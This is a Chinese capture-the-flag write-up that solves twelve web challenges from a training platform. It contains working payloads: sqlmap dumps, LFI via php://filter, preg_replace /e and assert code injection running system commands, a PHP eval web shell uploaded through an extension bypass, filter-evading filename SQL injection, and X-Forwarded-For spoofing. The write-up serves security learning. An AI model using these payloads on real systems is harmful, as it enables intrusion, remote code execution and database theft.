攻防世界--web--高手区

1 baby_web

题目描述:

想想初始页面是哪个

解题思路:

进去之后显示HELLO WORLD

显示HELLO WORLD

然后就按F12查看Network选项,在Name为111.198.29.45处发现flag

发现flag

2 抓住那只猫

题目描述:

抓住那只猫

知识扩充:

  • url编码
  • Django知识

Django知识

解题思路:

打开网页发现是一个ping功能,但是输入正常的用户名没有反应,输入ip地址才有反应

输入127.0.0.1

本来因为题目名叫cat,又是ping,以为是命令执行,但是尝试了|、&等都报错,提示Invalid URL,看来题目的本意并不是命令执行。
看了网上一个大佬的wp才知道这个是跟Django有关的。网站本身是用PHP写的,但是可能有Django的组成部分。

在url中尝试着输入 ?url=%70 执行后发现变成了 ?url=p 看来是后台程序将url编码并返回了

url编码

在url里传参 %80 报错(URL编码是0到127,80的十六进制是128自然报错),从报错信息的目录结构可以知道这个是Django的项目

%80报错

居然是报的python的错,并且使用的是Django的框架,正常的php界面出错不是应该报Apache或者nignx的错吗???
这应该是PHP通过cURL向django的站发送数据,那边处理完再将数据传回。

关于 Django只需要知道,他是一个web服务框架

  • Django使用的是gbk编码,超过%F7的编码不在gbk中有意义,所以%80会报错
  • 当 CURLOPT_SAFE_UPLOAD 为 true 时,如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求,来读取文件。当且仅当文件中存在中文字符的时候,Django 才会报错导致获取文件内容。

既然用了 cURL,估计是cURL的漏洞,那肯定是找数据库的路径啊

搜索database

直接在URL框中输入payload

1
?url=@/opt/api/database.sqlite3

又得到一个巨长的信息,直接ctrl + f搜ctf直接出来了

找到flag

3 ics-04

题目描述:

工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag。

知识扩充:

解题思路:

进入题目主界面,看着挺高大上,不过fuzz之后也就登录和注册这两个按钮能用

发现漏洞界面

先注册个用户名为ikun的账户

注册账号

然后登录ikun,发现自己注册的账户登录不了,所以就想办法爆出数据库里的内容

ikun登录

用sqlmap注入一下index.php、login.php、regist.php、findpwd.php,通过大佬的wp发现如下选项

有三个可以访问的功能,注册、登录和找回密码
注册功能:没有sql注入,一个账号可以重复注册漏洞
登录功能:没有sql注入,一个账号不同密码能够登录
找回密码功能:存在sql注入,payload:

于是就开始注入findpwd.php界面

1
sqlmap -u 'http://111.198.29.45:38154/findpwd.php' --cookie 'PHPSESSID=fsv5c1snd2n2i0etm507fln942' --data="username=1" --dbs

爆数据库

1
sqlmap -u 'http://111.198.29.45:38154/findpwd.php' --cookie 'PHPSESSID=fsv5c1snd2n2i0etm507fln942' --data="username=1" -D cetc004 --tables

爆表

1
sqlmap -u 'http://111.198.29.45:38154/findpwd.php' --cookie 'PHPSESSID=fsv5c1snd2n2i0etm507fln942' --data="username=1" -D cetc004 -T user --columns

爆字段

1
sqlmap -u 'http://111.198.29.45:38154/findpwd.php' --cookie 'PHPSESSID=fsv5c1snd2n2i0etm507fln942' --data="username=1" -D cetc004 -T user -C username,password --dump

爆用户名

然后重新注册用户名为c3tlwDmIn23的账户

注册c3tlwDmIn23

登录c3tlwDmIn23即得flag

得到flag

4 ics-05

题目描述:

其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

知识扩充:

  • 文件包含
  • preg_replace函数漏洞
  • preg_replace函数使用 /e 模式,可以导致代码执行
  • LFI漏洞的黑盒判断
    (单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。此处,因为源码中有提示?page=index,所以读一下index.php中的源码)

解题思路:

拿到题目后用dirsearch扫描一下,发现/index.php/login//index.html/index.php三个界面

dirsearch扫描

经过fuzz之后,发现/index.php/login/毕竟可疑,联想到可能存在文件包含读源码的漏洞,尝试读取index.php的页面源码

通过php内置协议直接读取代码
/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

base64加密后的源码

经过base64解密后的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
<?php
error_reporting(0);

@session_start();
posix_setuid(1000);


?>
<!DOCTYPE HTML>
<html>

<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>

<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;

table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: '设备名', templet: '#nameTpl' },
{ field: 'area', title: '区域' },
{ field: 'status', title: '维护状态', minWidth: 120, sort: true },
{ field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>

<?php

$page = $_GET[page];

if (isset($page)) {



if (ctype_alnum($page)) {
?>

<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />

<?php

}else{

?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php

if (strpos($page, 'input') > 0) {
die();
}

if (strpos($page, 'ta:text') > 0) {
die();
}

if (strpos($page, 'text') > 0) {
die();
}

if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />

<?php
}}


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}





?>

</body>

</html>

得到源码后开始审计,此处存在preg_replace函数,尝试测试是否存在命令注入漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}
  • 首先要伪造 X-Forwarded-For 为127.0.0.1。
  • 然后要以GET方法传入patrepsub三个参数,这三个参数的值分别作为preg_replace()函数的参数preg_replace($pattern, $replacement, $subject)pattern为要搜索的模式,replacement为用于替换的字符串或字符串数组,subject要进行搜索和替换的字符串或字符串数组。
  • pattern参数可以使用一些PCRE修饰符,其中

pattern的\e参数

/e修正符使 preg_replace()replacement参数当作 PHP 代码执行

首先进行XFF伪造

XFF伪造

然后直接构造:

?pat=/.*/e&rep=system(‘ls’)&sub=test

发现可疑文件

然后在burpsuite中添加?pat=/.*/e&rep=system(‘ls+s3chahahaDir’)&sub=test
但是此时却没有发现任何东西

接着试一下?pat=/.*/e&rep=system(‘ls+s3chahahaDir/flag’)&sub=test

发现flag.php

最后尝试?pat=/.*/e&rep=system(‘cat+s3chahahaDir/flag/flag.php’)&sub=test
得到了flag

得到flag

5 ics-06

题目描述:

云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

知识扩充:

  • burpsuite爆破

解题思路:

题目说云平台报表有问题,于是就进来看看,发现如下界面

云平台报表中心

还是送分题,所以应该不难,看到url是

http://111.198.29.45:38269/index.php?id=1

感觉像是爆某个id就能出来flag,那就试试吧

爆出id=2333

在url后面的id改为2333就得到了flag

得到flag

6 lottery

题目描述:

知识扩充:

  • php弱比较
  • git泄露
  • burpsuite使用
  • json数据类型

解题思路:

通过题目我们知道,要拿到flag,就要赢到足够的钱。

啥都不要管,开局直接dirsearch扫,结果发现是git泄露。

扫描发现是git泄露

于是就用GitHack下载源码

GitHack下载源码

然后,就开始审计源码,发现了buy函数,我们可以通过修改提交的数据来获得更多的钱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function buy($req){
require_registered();
require_min_money(2);

$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

在买彩票这里的函数:

 其中 $numbers 来自用户json输入 {“action”:”buy”,”numbers”:[true,true,true,true,true,true,true]},没有检查数据类型。 $win_numbers 是随机生成的数字字符串。
  使用 PHP 弱类型松散比较,以”1”为例,和TRUE,1,”1”相等。 由于 json 支持布尔型数据,因此可以抓包改包,构造数据

提交几次使钱为5000000

然后,再放包就能买flag了

得到flag

注意:

  • burpsuite设置成能抓js数据
  • 点击buy按钮时抓包

7 NewsCenter

题目描述:

知识扩充:

  • sqlmap注入

解题思路:

此题与上面的ics-04类似,都是sqli,过程如下

1
sqlmap -u 'http://111.198.29.45:55995/' --cookie 'PHPSESSID=4o6r0n13hrm3ihf2o7sck30494' --data='search=1' --dbs

爆数据库

1
sqlmap -u 'http://111.198.29.45:55995/' --cookie 'PHPSESSID=4o6r0n13hrm3ihf2o7sck30494' --data='search=1' -D news --tables

爆表

1
sqlmap -u 'http://111.198.29.45:55995/' --cookie 'PHPSESSID=4o6r0n13hrm3ihf2o7sck30494' --data='search=1' -D news -T secret_table --columns

爆字段

1
sqlmap -u 'http://111.198.29.45:55995/' --cookie 'PHPSESSID=4o6r0n13hrm3ihf2o7sck30494' --data='search=1' -D news -T secret_table -C id,fl4g --dump

得到flag

8 mfw

题目描述:

知识扩充:

  • git泄露(GitHack)
  • svn泄露(Seay-Svn)
  • 网站源码备份泄露(.rar.zip.7z.tar.gz.bak.swp.txt.html
  • strpos函数
  • assert函数

解题思路:

进去发现是一个个人博客网站,还是用git 写的。到底是不是git泄露呢,不管了,用dirsearch跑一下看看吧

dirsearch跑出来是git泄露

然后就用 GitHack 跑一下,恢复了几个源码,审计后发现,flag.php中没有flag,而index.php中却发现了问题

1
2
3
4
5
6
7
$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

这里先介绍一下assertstrpos这两个函数

assert

strpos函数

接着,发现file变量是用我们输入的page变量拼接而成的,而且没有任何的过滤,看到了胜利的曙光!
我们可以在这段输入的字符中插入system函数来执行系统命令,于是构造payload如下所示

1
page=flag') or system("cat templates/flag.php");//

得到flag

9 Training-WWW-Robots

题目描述:

知识扩充:

  • robots协议

维基百科解释robots协议

解题思路:

进去题目后显示如下界面

题目主界面

看着题目意思就是robots协议,于是便习惯性地在url后面加上robots.txt,发现如下界面的提示

发现提示

然后就在url后面添加/fl0g.php,最终发现了flag

得到flag

10 NaNNaNNaNNaN-Batman

题目描述:

知识扩充:

解题思路:

下载一个压缩包,打开发现是一段javascript脚本,不过啥都看不懂

1
<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){	[0]);.splice(0,1)}}}	\'<input id="c">< onclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)!=null=["	write(s[o%4]buttonif(e.ment';for(Y in $='	')with(_.split($[Y]))_=join(pop());eval(_)</script>

然后就在控制台上输入,并把这段脚本中的eval改成console.log,得到如下函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function $()
{
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null)
{
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o)
{
document.write(s[o%4][0]);
s[o%4].splice(0,1)
}
}
}
document.write('<input id="c"><button onclick=$()>Ok</button>');delete _

通过审计我们可以知道_是一个函数,并且在一开始的输入框里输入的值要满足下面五个条件的判断才能执行下面的代码

  • 输入的字符串长度必须为16个字符
  • 字符串的开头必须要匹配be0f23
  • 字符串的结尾必须要匹配e98aa
  • 字符串中要能匹配到233ac和c7be9

直接扔payload,如下所示

1
be0f233ac7be98aa

将得到的web100保存为html文件,用浏览器打开并输入payload即可得到flag

得到flag

11 bug

题目描述:

知识扩充:

  • 漏洞挖掘
  • XFF伪造
  • 文件上传漏洞

解题思路:

首先找出这个站点的bug,发现在findpwd界面找回密码时,输对两个条件就能修改密码

找到站点bug

用自己注册的用户ikun的账户登录进去之后 ,填入newpassword后抓包

点击Reset抓包

然后在burpsuite中把username改为admin,成功修改了admin的密码

成功修改admin密码

然后用 admin 登录 ,访问 manager 功能时 显示 IP Not allowed!

使用XFF伪造,在请求头部分加入X-Forwarded-For: 127.0.0.1

进行XFF伪造

在源码中看到 ?module=filemanage&do=???,文件管理肯定是do=upload了

发现提示

于是就访问 index.php?module=filemanage&do=upload

文件上传

发现只能上传jpg文件,尝试传php、php4、php5都不行,然后就写好一个txt,内容是下面的脚本,然后改后缀名为jpg,上传抓包,并修改jpg为php4或者php5

1
<script language="php">@eval($_POST['attack']);</script>

修改上传文件格式

再次提交即得flag

得到flag

12 upload

题目描述:

知识扩充:

  • 文件上传漏洞
  • 文件名注入漏洞

解题思路:

思路1

本以为是一个简单的文件上传题,谁能想到他将然是一个sql注入题,还是注入的文件的名,把这个题的难度提高了不少

刚开始的时候通过测试发现只能上传jpg文件,应该是用的后缀名白名单,但是上传之后没有返回路径,这就让我怀疑本题的突破点不是上传马!

它回显了上传文件的文件名,文件名没有被修改,文件名肯定是存入数据库了

那就尝试在文件名上做些文章,在文件名上构造 payload 进行 sql 注入

然后注入

1
'+(select database())+'.jpg

在点击 submit 的时候开始抓包,然后修改 filename 的内容为上面的payload,如下图所示

修改filename的内容进行注入

然后将其发到 Repeater 模块,点击 Go

点击Go

最后回到 Proxy 模块,点击 Forward放包,在浏览器中就能看见上传文件的回显信息了,这是一个简单的文件注入过程,下面的注入过程与此类似,下面就不在赘述了。

显示文件上传成功,回显文件如下所示

回显上传文件

说明没有查到信息,可能有过滤,改为如下payload,上传成功,没有回显提示

1
'+(selselectect database())+'.jpg

回显上传文件

判断肯定是查到信息了,但是结果被过滤

然后又试着上传jpg文件上传成功回显正常,说明了只是数据控回显的信息被过滤了,至于进行了什么过滤方式再接着试试

1
'+(selselectect substr(hex(DataBase()),1,12))+'.jpg

回显了16进制数7765625,将其转 ascii 为 web,接着看看后面还有没有剩下的字符

1
'+(selselectect substr(hex(DataBase()),13,12))+'.jpg

什么都不回显,什么情况,那就把 16进制转为 10进制输出:

1
2
3
'+(selselectect CONV(substr(hex(DataBase()),1,12),16,10))+'.jpg

'+(selselectect CONV(substr(hex(DataBase()),13,12),16,10))+'.jpg

上面的两个payload依次返回1312773258253921819238756
转成拼接后得到库名为web_upload

但是又有了一个疑问,为什么substr要设置为1到12呢,尝试以后发现,当我们设置为1,13时 ,出现了科学计数法,这是无法转化为10进制的,所以才设定了1,12这个限制

爆表名:

1
2
3
4
5
6
7
'+(selselectect CONV(substr(hex((selselectect group_concat(table_name) frfromom information_schema.tables where table_schema='web_upload')),1,12),16,10))+'.jpg

'+(selselectect CONV(substr(hex((selselectect group_concat(table_name) frfromom information_schema.tables where table_schema='web_upload')),13,12),16,10))+'.jpg

'+(selselectect CONV(substr(hex((selselectect group_concat(table_name) frfromom information_schema.tables where table_schema='web_upload')),25,12),16,10))+'.jpg

'+(selselectect CONV(substr(hex((selselectect group_concat(table_name) frfromom information_schema.tables where table_schema='web_upload')),37,12),16,10))+'.jpg

上面的两个payload依次返回112602976187180
114784820031327112615676665705126853610566245

将四个10进制数字转成16进制,然后再转成字符并拼接后得到表名为files,hello_flag_is_here

拼接后得到:

爆字段:

1
2
3
'+(selselectect CONV(substr(hex((selselectect group_concat(column_name) frfromom information_schema.columns where table_name='hello_flag_is_here')),1,12),16,10))+'.jpg

'+(selselectect CONV(substr(hex((selselectect group_concat(column_name) frfromom information_schema.columns where table_name='hello_flag_is_here')),13,12),16,10))+'.jpg

上面的两个payload依次返回1158583773673987102823
将两个10进制数字转成16进制,然后再转成字符并拼接后得到字段名为i_am_flag

脱库:

1
2
3
4
5
'+(selselectect CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here)),1,12),16,10))+'.jpg

'+(selselectect CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here)),13,12),16,10))+'.jpg

'+(selselectect CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here)),25,12),16,10))+'.jpg

上面的三个payload依次返回3642721569519992806431727430560750951
将两个10进制数字转成16进制,然后再转成字符并拼接后得到字段名为!!_@m_Th.e_F!lag

flag就是下面的内容

1
!!_@m_Th.e_F!lag

思路2

大家注意一下自己的uid,我这里是1669

爆数据库

1
1','2','3'),(database(),'2','1669'),('1.jpg

爆数据库

爆表

1
1','2','3'),((selselectect group_concat(table_name) frfromom information_schema.tables where table_schema=database()),'2','1669'),('1.jpg

爆表

爆字段

1
1','2','3'),((selselectect group_concat(column_name) frfromom information_schema.columns where table_schema=database() anandd table_name='hello_flag_is_here'),'2','1669'),('1.jpg

爆字段

爆flag

1
1','2','3'),((selselectect i_am_flag frfromom hello_flag_is_here),'2','1669'),('1.jpg

得到flag

参考链接


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达,可以邮件至 xingshuaikun@163.com。

×

喜欢就点赞,疼爱就打赏